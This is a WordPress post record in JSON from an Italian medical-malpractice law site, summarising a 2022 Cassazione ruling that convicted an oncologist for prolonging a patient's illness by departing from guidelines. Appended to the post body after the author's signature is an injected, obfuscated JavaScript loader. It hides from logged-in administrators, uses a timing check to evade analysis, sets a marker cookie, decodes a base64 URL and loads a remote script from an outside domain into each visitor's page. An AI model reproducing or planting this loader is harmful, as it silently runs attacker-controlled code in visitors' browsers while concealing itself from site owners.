{"id":28205,"date":"2023-01-11T11:43:44","date_gmt":"2023-01-11T11:43:44","guid":{"rendered":"https:\/\/www.dimariamalasanita.it\/?p=28205"},"modified":"2026-04-15T05:18:34","modified_gmt":"2026-04-15T05:18:34","slug":"medico-responsabile-nel-caso-di-prolungamento-della-condizione-patologica-del-paziente","status":"publish","type":"post","link":"https:\/\/www.dimariamalasanita.it\/?p=28205","title":{"rendered":"Medico responsabile nel caso di prolungamento della condizione patologica del paziente"},"content":{"rendered":"<h3>Medico responsabile nel caso di prolungamento della condizione patologica del paziente<\/h3>\n<p>La pronuncia in esame tratta il caso in cui il professionista sanitario discostandosi dalle linee guida, per imperizia prolunghi la condizione di sofferenza del paziente.<br \/>\nLa Corte di Cassazione Penale con sentenza n.8613 del 08\/02\/2022 ha affermato il principio secondo il quale la condotta del medico che dilati il tempo di guarigione da una malattia senza per forza determinare un aggravamento della patologia stessa, assume una certa rilevanza da un punto di vista penale ed \u00e8 punibile.<br \/>\nNel caso di specie un oncologo, nel primo grado di giudizio, era stato ritenuto responsabile per le lesioni causate ad una donna sottoposta a due interventi.<br \/>\nIl medico, a sua volta, contestava quanto affermato dal giudice di prime cure e proponeva ricorso contro tale sentenza.<br \/>\nIn particolare al professionista veniva ascritto l\u2019essersi discostato dalle linee guida e il non aver volontariamente asportato alla paziente, per imprudenza, imperizia o negligenza, alcuni linfonodi che, con il passare del tempo, avevano aggravato il quadro clinico della medesima costringendola a sottoporsi ad un terzo intervento, dal quale scaturivano alcune lesioni che le procuravano un\u2019invalidit\u00e0 temporanea di circa 40 giorni.<br \/>\nIl medico proponeva ricorso perch\u00e9 secondo quest\u2019ultimo le linee guida erano da intendersi come semplici raccomandazioni non vincolanti e sosteneva che il giudice aveva commesso un errore nel ritenere dimostrato il nesso di causalit\u00e0 tra l\u2019evento lesivo occorso alla paziente e la condotta del sanitario oncologo.<br \/>\nSecondo la Corte di Cassazione, invece, quanto sostenuto dal giudice di prime cure era corretto poich\u00e9 il discostamento dalle linee guida del medico aveva prodotto alcune lesioni per la paziente che successivamente era stata costretta a subire una terza operazione.<br \/>\nLa Suprema Corte nel caso in esame ribadisce un principio gi\u00e0 espresso in altre pronunce secondo cui:\u201d ogni condotta colposa che intervenga sul tempo necessario alla guarigione, pur se non produce un aggravamento della lesione e della perturbazione funzionale, assume rilievo penale ove generi una dilatazione del periodo necessario al raggiungimento della guarigione della stabilizzazione dello stato di salute.\u201d<br \/>\nNel caso di specie, la regressione della malattia si era verificata solo dopo il terzo intervento, per cui il prolungamento della condizione patologica della paziente era direttamente collegato alla grave imperizia imputabile al sanitario che l\u2019aveva in cura.<br \/>\nIl medico \u00e8 stato accusato di lesioni aggravate non solo per il comportamento avuto nei primi due interventi, ma soprattutto per non aver considerato le condizioni di salute precarie in cui versava la paziente.<br \/>\nProprio in virt\u00f9 di suddette motivazioni, la Corte di Cassazione ha condannato il medico oncologo per aver prolungato la condizione patologica della donna.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Dott. Luigi Pin\u00f2<\/strong><\/p>\n<hr \/>\n<ul>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/flash-news\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione flash news<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/blog\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione blog<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/contatti\/\" target=\"_blank\" rel=\"noopener\">Contattaci per avere pi\u00f9 info<\/a><\/li>\n<\/ul>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Medico responsabile nel caso di prolungamento della condizione patologica del paziente La pronuncia in esame tratta il caso in cui il professionista sanitario discostandosi dalle linee guida, per imperizia prolunghi la condizione di sofferenza del paziente. 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